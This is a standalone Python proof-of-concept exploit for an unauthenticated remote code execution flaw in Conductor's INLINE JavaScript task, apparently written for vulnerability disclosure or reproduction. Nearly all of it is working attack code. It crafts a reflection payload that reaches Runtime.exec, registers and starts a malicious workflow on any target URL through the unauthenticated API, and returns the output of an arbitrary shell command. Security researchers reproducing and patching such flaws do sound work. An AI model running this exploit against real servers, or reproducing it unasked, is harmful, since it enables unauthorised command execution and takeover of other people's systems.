#!/usr/bin/env python3
"""
CVE-2026-58138 - Orkes/OSS Conductor 3.21.21..<3.30.2 - Unauthenticated RCE PoC

Conductor's INLINE task evaluates a user-supplied JavaScript expression with a GraalVM
context built with full host access (HostAccess.ALL). With host access enabled, the
script reflects from the bound input object ($) up to java.lang.Class.forName, loads
java.lang.Runtime, and calls Runtime.exec -> arbitrary OS command execution. The
Conductor community API has no authentication by default, so submitting a workflow
whose INLINE task carries this expression is an unauthenticated RCE.

This script uses only the Python standard library.

Usage:
    python3 exploit.py <target_base_url> "<shell_command>" [output_json_path]

Example:
    python3 exploit.py http://127.0.0.1:8080 "id; hostname"
"""
import json
import os
import sys
import time
import urllib.request
import urllib.error


def js_rce(cmd):
    # Bootstrap reflection from the bound input object ($), load Runtime, build a String[]
    # ['sh','-c',cmd] reflectively, exec it, and return the command's stdout as the task result.
    c = cmd.replace("\\", "\\\\").replace("'", "\\'")
    return (
        "var k=$.getClass().getClass();"
        "var S=k.getMethod('getName').getReturnType();"
        "var forName=k.getMethod('forName',S);"
        "var L=function(n){return forName.invoke(null,[n]);};"
        "var RT=L('java.lang.Runtime');"
        "var rt=RT.getMethod('getRuntime').invoke(null,[]);"
        "var I=L('java.lang.Integer').getField('TYPE').get(null);"
        "var A=L('java.lang.reflect.Array');"
        "var arr=A.getMethod('newInstance',k,I).invoke(null,[S,3]);"
        "var set=A.getMethod('set',L('java.lang.Object'),I,L('java.lang.Object'));"
        f"set.invoke(null,[arr,0,'sh']);set.invoke(null,[arr,1,'-c']);set.invoke(null,[arr,2,'{c}']);"
        "var p=RT.getMethod('exec',arr.getClass()).invoke(rt,[arr]);p.waitFor();"
        "var isr=L('java.io.InputStreamReader').getConstructor(L('java.io.InputStream')).newInstance(p.getInputStream());"
        "var br=L('java.io.BufferedReader').getConstructor(L('java.io.Reader')).newInstance(isr);"
        "var o='',l;while((l=br.readLine())!==null)o+=l+'\\n';o"
    )


def call(base, path, data=None, method=None, timeout=30):
    url = base.rstrip("/") + path
    body = json.dumps(data).encode() if data is not None else None
    req = urllib.request.Request(
        url,
        data=body,
        method=method or ("POST" if data is not None else "GET"),
        headers={"Content-Type": "application/json", "Accept": "application/json,text/plain,*/*"},
    )
    with urllib.request.urlopen(req, timeout=timeout) as r:
        raw = r.read().decode(errors="replace")
        try:
            return r.status, json.loads(raw)
        except Exception:
            return r.status, raw


def run_exploit(target, cmd, out_json=None):
    wf = "pwn_" + str(int(time.time()))
    wfdef = {
        "name": wf,
        "version": 1,
        "schemaVersion": 2,
        "ownerEmail": "poc@example.com",
        "tasks": [
            {
                "name": "pwn",
                "taskReferenceName": "pwn",
                "type": "INLINE",
                "inputParameters": {
                    "evaluatorType": "javascript",
                    "expression": js_rce(cmd),
                },
            }
        ],
    }

    result = {
        "target": target,
        "command": cmd,
        "workflow_name": wf,
        "register_status": None,
        "start_status": None,
        "workflow_id": None,
        "workflow_status": None,
        "task_status": None,
        "task_output_result": None,
        "rce_confirmed": False,
        "error": None,
    }

    try:
        # 1. Register workflow (unauthenticated)
        st, resp = call(target, "/api/metadata/workflow", wfdef)
        result["register_status"] = st
    except urllib.error.HTTPError as e:
        result["register_status"] = e.code
        result["error"] = "register failed: HTTP %s %s" % (e.code, e.read().decode(errors="replace")[:300])
        _emit(result, out_json)
        return result
    except Exception as e:
        result["error"] = "register failed: %s" % e
        _emit(result, out_json)
        return result

    try:
        # 2. Start workflow (unauthenticated)
        st, wid = call(target, "/api/workflow/%s" % wf, {})
        result["start_status"] = st
        wid = wid if isinstance(wid, str) else str(wid)
        result["workflow_id"] = wid
    except Exception as e:
        result["error"] = "start failed: %s" % e
        _emit(result, out_json)
        return result

    # 3. Poll for the INLINE task result
    out = None
    task_status = None
    wf_status = None
    for attempt in range(20):
        time.sleep(2)
        try:
            st, info = call(target, "/api/workflow/%s?includeTasks=true" % wid, timeout=20)
        except Exception:
            continue
        if isinstance(info, dict):
            wf_status = info.get("status")
            for t in (info.get("tasks") or []):
                if t.get("taskType") == "INLINE":
                    task_status = t.get("status")
                    out = (t.get("outputData") or {}).get("result")
            # stop polling once the inline task has a terminal status
            if task_status in (
                "COMPLETED",
                "FAILED",
                "FAILED_WITH_TERMINAL_ERROR",
                "CANCELED",
            ):
                break

    result["workflow_status"] = wf_status
    result["task_status"] = task_status
    result["task_output_result"] = (str(out) if out is not None else None)

    # RCE confirmed if the task completed AND the returned result is non-empty (it is the
    # stdout of the attacker-supplied shell command).
    if task_status == "COMPLETED" and out:
        result["rce_confirmed"] = True

    _emit(result, out_json)
    return result


def _emit(result, out_json):
    if out_json:
        with open(out_json, "w") as f:
            json.dump(result, f, indent=2)


def main():
    if len(sys.argv) < 3:
        print("usage: exploit.py <target_base_url> <shell_command> [output_json_path]")
        sys.exit(2)
    target = sys.argv[1]
    cmd = sys.argv[2]
    out_json = sys.argv[3] if len(sys.argv) > 3 else None

    print("[*] target=%s cmd=%r" % (target, cmd))
    print("[*] registering workflow with a malicious INLINE (javascript) task ... (no auth)")
    res = run_exploit(target, cmd, out_json)

    if res["rce_confirmed"]:
        print("\n[+] UNAUTHENTICATED RCE CONFIRMED - command output from the Conductor host:")
        print(str(res["task_output_result"]).strip())
        sys.exit(0)
    else:
        print("\n[-] RCE NOT confirmed.")
        print("    workflow_status=%s task_status=%s" % (res["workflow_status"], res["task_status"]))
        if res["task_output_result"]:
            print("    task result:", str(res["task_output_result"])[:300])
        if res["error"]:
            print("    error:", res["error"])
        # Exit code 1 = not reproduced (used for the fixed-version negative control)
        sys.exit(1)


if __name__ == "__main__":
    main()
